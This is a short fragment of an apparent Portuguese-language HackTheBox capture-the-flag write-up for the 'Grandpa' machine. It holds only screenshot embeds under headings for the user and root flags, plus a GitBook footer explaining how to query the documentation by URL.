<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f6d467fc2adfb28a177e1b15c87453c93c406f8%2F%7BDFC7CD2A-D85E-4FA3-A499-A4A0E51E7CE2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ce73bbd2953983dd7eaa544dfef383b2b6cc5eb%2F%7BB03F9411-DA3B-44C0-AD23-0527F35F0BE7%7D.png?alt=media" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef47cf6575b85a20d6d532ce69f884391fa950db%2F%7BACA19391-CB0D-46A8-86A3-6E9FED1A0367%7D.png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

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